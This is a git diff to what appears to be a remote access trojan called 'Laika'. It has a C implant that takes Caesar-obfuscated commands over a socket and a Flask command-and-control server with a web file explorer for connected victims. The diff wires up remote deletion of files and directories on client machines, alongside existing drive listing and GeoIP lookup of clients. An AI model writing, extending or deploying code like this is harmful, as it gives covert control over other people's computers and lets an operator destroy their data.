diff --git a/Laika/file_explorer.c b/Laika/file_explorer.c index 15880b4..24398fe 100644 --- a/Laika/file_explorer.c +++ b/Laika/file_explorer.c @@ -1,14 +1,6 @@ #include "file_explorer.h" #include "utils.h" -int delete_file(char* path) { - return Api.remove(path); -} - -int delete_dir(char* path) { - return Api.rmdir(path); -} - int get_object_info(char* path, struct stat* fileinfo) { return Api.stat(path, fileinfo); } diff --git a/Laika/file_explorer.h b/Laika/file_explorer.h index ed3bb03..7151eaf 100644 --- a/Laika/file_explorer.h +++ b/Laika/file_explorer.h @@ -14,8 +14,6 @@ extern API Api; -int delete_file(char* path); -int delete_dir(char* path); int get_object_info(char* path, struct stat* fileinfo); int get_drives_list(char* buf); char* get_file_list(const char* dirPath, int* numFiles); diff --git a/Laika/main.c b/Laika/main.c index 45ff894..fbe4ed8 100644 --- a/Laika/main.c +++ b/Laika/main.c @@ -195,14 +195,7 @@ retry: goto retry; } - delete_file(path); - - if (Api.send(sock, "itsj", strlen("itsj"), 0) < 0) { //done - //send failed - Api.free(path); - Sleep_(Sleep_TIME); - goto retry; - } + Api.remove(CAESAR_DECRYPT(path)); Api.free(path); } @@ -219,14 +212,9 @@ retry: goto retry; } - delete_dir(path); + Api.rmdir(CAESAR_DECRYPT(path)); - if (Api.send(sock, "itsj", strlen("itsj"), 0) < 0) { //done - //send failed - Api.free(path); - Sleep_(Sleep_TIME); - goto retry; - } + Api.free(path); } if (Api.strncmp(server_reply, "ljydtgodnskt", strlen("ljydtgodnskt")) == 0) { //get_obj_info diff --git a/Server/FileExplorer/index.html b/Server/FileExplorer/index.html index ee578b1..2629443 100644 --- a/Server/FileExplorer/index.html +++ b/Server/FileExplorer/index.html @@ -155,40 +155,9 @@ if (action != "upload") { to_send = to_send.concat(get_checked_rows()); - } else { - // Open file explorer and get selected file - var promise = new Promise(function(resolve, reject) { - var input = document.createElement('input'); - input.type = 'file'; - input.onchange = function(event) { - var file = event.target.files[0]; - if (file) { - var fullpath = file.webkitRelativePath || file.name; // get full path or name if not supported - resolve(fullpath); - } else { - reject('No file selected'); - } - }; - input.click(); - }); - - promise.then(function(fullpath) { - to_send.push(fullpath); - console.log(to_send); - - // Send an AJAX request to the Flask app to retrieve the updated data - $.ajax({ - type: 'POST', - url: '/interact', - contentType: "application/json", - data: JSON.stringify({ to_send }) - }); - }).catch(function(error) { - console.error(error); - }); } - if (to_send.length > 1 && action != "upload") { + if (to_send.length > 1 || action == "upload") { console.log(to_send); // Send an AJAX request to the Flask app to retrieve the updated data diff --git a/Server/Server.py b/Server/Server.py index 6bd8f6d..a6975dd 100644 --- a/Server/Server.py +++ b/Server/Server.py @@ -4,6 +4,7 @@ from geoip import geolite2 from flask import Flask, request, send_file, render_template, send_from_directory, jsonify from threading import Thread import os, sys, time +import easygui import select import socket import logging @@ -70,30 +71,63 @@ def index() : return send_file(index_path) path_file_ex = "" +path_file_ex_2 = "" +FILES_=[] +CLIENT_IN_PATH = None @app.route('/interact', methods=['POST']) def interact() : file_list = request.get_json()["to_send"] action = file_list.pop(0) + if CLIENT_IN_PATH == None : return "no client" + client = CONNECT_CLIENTS[CLIENT_IN_PATH] + print(file_list) + + files = [] + if action != "upload" : + for f in file_list : + files.append(f.split('">')[1].replace("","")) + match action : case "download" : - print("d") + print(files) case "upload" : - print("u") + filename = easygui.fileopenbox() + + if filename == None or path_file_ex_2 == "" : + return 'no file selected' + + print(f"{filename} --> {path_file_ex_2}") case "remove" : - print("r") + for i in files : + path = path_file_ex_2 + i + if i in FILES_ : + #call remove file + client.send(CAESAR("del_file\0").encode()) + + client.send(CAESAR(path + "\0").encode()) + + time.sleep(0.05) + else : + #call remove folder + client.send(CAESAR("del_dir\0").encode()) + + client.send(CAESAR(path + "\0").encode()) + + time.sleep(0.05) return 'ok' -FILES_=[] @app.route('/get_data', methods=['POST']) def get_data() : global path_file_ex + global path_file_ex_2 global FILES_ + global CLIENT_IN_PATH data = [] got_path = request.get_data().decode("latin-1") @@ -131,6 +165,7 @@ def get_data() : path_parts = path_file_ex.split("/") client_num = int(path_parts.pop(0).replace("Client n°","")) if client_num != i : continue + client.send(CAESAR("get_drives").encode()) drives = recv_message_ret(client).decode("utf-8") for d in drives : @@ -143,7 +178,7 @@ def get_data() : client_num = int(path_parts.pop(0).replace("Client n°","")) if client_num != i : continue path_parts[0] = path_parts[0] + ":" - + CLIENT_IN_PATH = i if path_parts[len(path_parts)-2] in FILES_ : path_parts.pop(len(path_parts)-2) path_file_ex_parts = path_file_ex.split("/") diff --git a/Server/requirements.txt b/Server/requirements.txt index cf8888f..c087726 100644 --- a/Server/requirements.txt +++ b/Server/requirements.txt @@ -1,4 +1,5 @@ colorama prettytable +easygui python-geoip-python3 -python-geoip-geolite2 \ No newline at end of file +python-geoip-geolite2